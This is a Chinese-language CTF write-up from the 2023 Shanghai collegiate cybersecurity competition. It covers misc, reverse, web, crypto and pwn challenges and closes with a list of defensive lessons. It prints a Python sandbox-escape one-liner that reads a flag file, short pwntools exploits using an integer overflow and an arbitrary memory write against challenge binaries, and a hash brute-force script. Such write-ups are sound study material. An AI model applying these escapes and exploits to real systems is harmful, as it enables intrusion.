2023 8th Shanghai Collegiate Cybersecurity Competition and RockSolid Operation Retrospective

免责声明:本文为个人技术学习与工程实践笔记,所涉操作仅应在获得授权的环境中进行。因不当使用造成的后果由使用者自行承担。

有线下机会,但未能成行

Misc

complicated_http

对流量进行审计

img

发现 openssl 加解密脚本,将其提取出来,用脚本还原 HTTP 响应中的值即可

1
2
3
4
5
6
7
<?php
$data = 'U0JVbEhsQkNRSTRxNXVBWHRvNGFTWkdZSUpxZGdkT2QvekdmVEdaYVJheXNKV0ZkZ1dkbm53UlQ1eDdsL2JBNnBVb1g4cHFKTmdzTml2aXVJNmFuZkdnZFBqTmlQa2wzbDRzZVVjZVFnT2I5OVB3QUQ5Skp3YmlhLzVHSHdSVGE4nhik+HAVznfOIKw3';
$data = base64_decode($data);
$key="9d239b100645bd71";
$magicNum=hexdec(substr($key,0,2))%16;
$data=substr($data,0,strlen($data)-$magicNum);
echo openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);

img

Flag

img

flag{1ec5be5a-afbd-4867-800b-3eb739b9e3bd}

goog_http

下载压缩包后修改后缀解压,得到两张图片,推测为盲水印题;使用 bmw 并将 alpha 设为 10.0,还原出 flag.zip 的密码

img

1
python3 bwmforpy3.py decode one.png theother.png password.png --alpha 10.0

img

得到密码为 XD8C2VOKEU 直接解压压缩包获取到 flag

img

flag{d580cc00-e489-467e-882b-1c340560533a}

优雅内存

Reverse

flag 在哪?

img

img

两步异或

flag{UUU123QWE}

ezEXE

rc4

img

encrytor

Rust 编写的加密程序,通过动态调试即可得到

img

img

flag{3df837d045ea07d9230cd23047a}

Web

CookieBack

访问页面,提示需要携带 cookie,按照提示设置 cookie 值即可

img

Ezpython

Py jail 逃逸,枚举可用的对象与方法即可完成

img

最终发现 flag 就位于当前目录下。

1
print(().__class__.__bases__[0].__subclasses__()[118].__dict__['get_data'](112, 'flag'))

easy_node

直接访问

img

访问 /vm2_tester 构造参数返回

img

img

Crypto

Biard

img

打开文档,在每张小鸟的备注中可以看到 char( 字样,逐个解码即可

flag{birdislovely}

dirty_flag

编码两次,直接进行两轮暴力破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
alpha = string.digits + string.ascii_lowercase
for a in alpha:
for b in alpha:
for c in alpha:
for d in alpha:
for e in alpha:
for f in alpha:
# t1 = f"flag{{09{a}{b}{c}{d}{e}{f}"
t1 = f"{a}{b}{c}{d}{e}{f}755ca2}}"
print(t1)
if (hash(t1) == "145723dad4c351b6fa678a5d83db3a3f08c36101b6542249f88a75f75413d1bd"):
print(t1, hash(t1))
sys.exit()
# t1 = f"LitCTF{{md5can{i}{j}3de{l}rypt213thoughcr{k}sh}}"
# t1_hash = hashlib.md5(t1.encode('utf-8')).hexdigest()
# if t1_hash == "496603d6953a15846cd7cc476f146771":
# print(t1, t1_hash)
# sys.exit()
# print(f"{t1} -> {t1_hash}")
# alpha = string.digits + string.ascii_lowercase
# for a in alpha:
# for b in alpha:
# for c in alpha:
# for d in alpha:
# t1 = f"{a}{b}{c}{d}"
# if (hash(t1) == "a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba"):
# print(t1, hash(t1))
# sys.exit()
# # t1 = f"LitCTF{{md5can{i}{j}3de{l}rypt213thoughcr{k}sh}}"
# # t1_hash = hashlib.md5(t1.encode('utf-8')).hexdigest()
# # if t1_hash == "496603d6953a15846cd7cc476f146771":
# # print(t1, t1_hash)
# # sys.exit()
# # print(f"{t1} -> {t1_hash}")

Crackme

题目保留了原始 flag,可直接获得

img

Twice

简单 rsa,给了公私钥

双重 rsa 解密

flag{1a100d2c0dab19c4430e7d73762b3423}

RSA_like

大模数维纳攻击,变异 rsa 解密

flag{4872c7e4cc11508f8325f6fb68512a23}

Pwn

Keybox

利用整型溢出使取值判断失效,将 retaddr 改写为后门函数入口。本地环境因 libc 版本不同出现栈对齐问题,可通过调整 retaddr 起始位置跳过 pop rbp 指令;远程环境并未出现该问题。

1
2
3
4
5
6
7
8
9
10
from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
io.recvuntil("Input the first key: ")
buf = -0x7fffffffffffffef
io.sendline(str(buf))
io.recvuntil("Input the second key: ")
io.sendline('4200293')
io.interactive()

Changeaddr

flag 被读入 bss 段,直接利用任意读泄漏即可

1
2
3
4
5
6
7
8
9
10
from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
io.recvuntil("Now you can write one 4 byte value to memory. Where would you like to write?")
io.sendline(str(hex(elf.got['exit']))[:2])
io.recvuntil("What value would you like to write to ")
io.sendline('804932c')
io.recvuntil("input anything to get the final flag, it should be used to lead to a special segment fault!")
io.sendline('1')
io.recv()

防御启示

  1. 传输层之外不应再暴露可逆加密与密钥:流量中直接出现 AES 密钥与加解密脚本,说明敏感数据由客户端自行加密且密钥随流量暴露。业务应使用 TLS 承载机密性,密钥由服务端下发或协商,禁止硬编码在脚本与客户端中。
  2. 图片等媒体文件需要重编码与隐写检测:盲水印工具能在视觉无损的前提下写入信息,图片文件尾(IEND 之后)附加数据同样是常见载荷位置。上传审核应重编码文件、剥离附加数据,并对 LSB 平面做统计检测。
  3. 语言级沙箱不是安全边界:本题反复出现 Python 沙箱逃逸与 vm2 沙箱逃逸,根因是把不可信代码放在同一进程内解释执行。不可信代码应放入独立进程或容器,配合 seccomp、只读挂载、网络与权限裁剪,避免只依赖对象属性黑名单。
  4. 二进制程序要同时做代码层与编译层加固:整型溢出使判断失效、任意写原语、栈布局操纵等问题,需要代码层的整数与边界校验,以及编译期的栈保护、PIE/ASLR、RELRO 等缓解措施;对外接口不应开放任意地址读写能力。
  5. RSA 参数须符合安全要求:题目中出现小私钥指数导致的维纳攻击与双重 RSA,说明参数选择不当会使密钥可被还原。密钥应使用足够长度与密码学安全随机源生成,避免在不同密钥之间复用素数或公共模数。

Support via Solana

Solana

Solana

Solana Pay

Solana Pay

WeChat

WeChat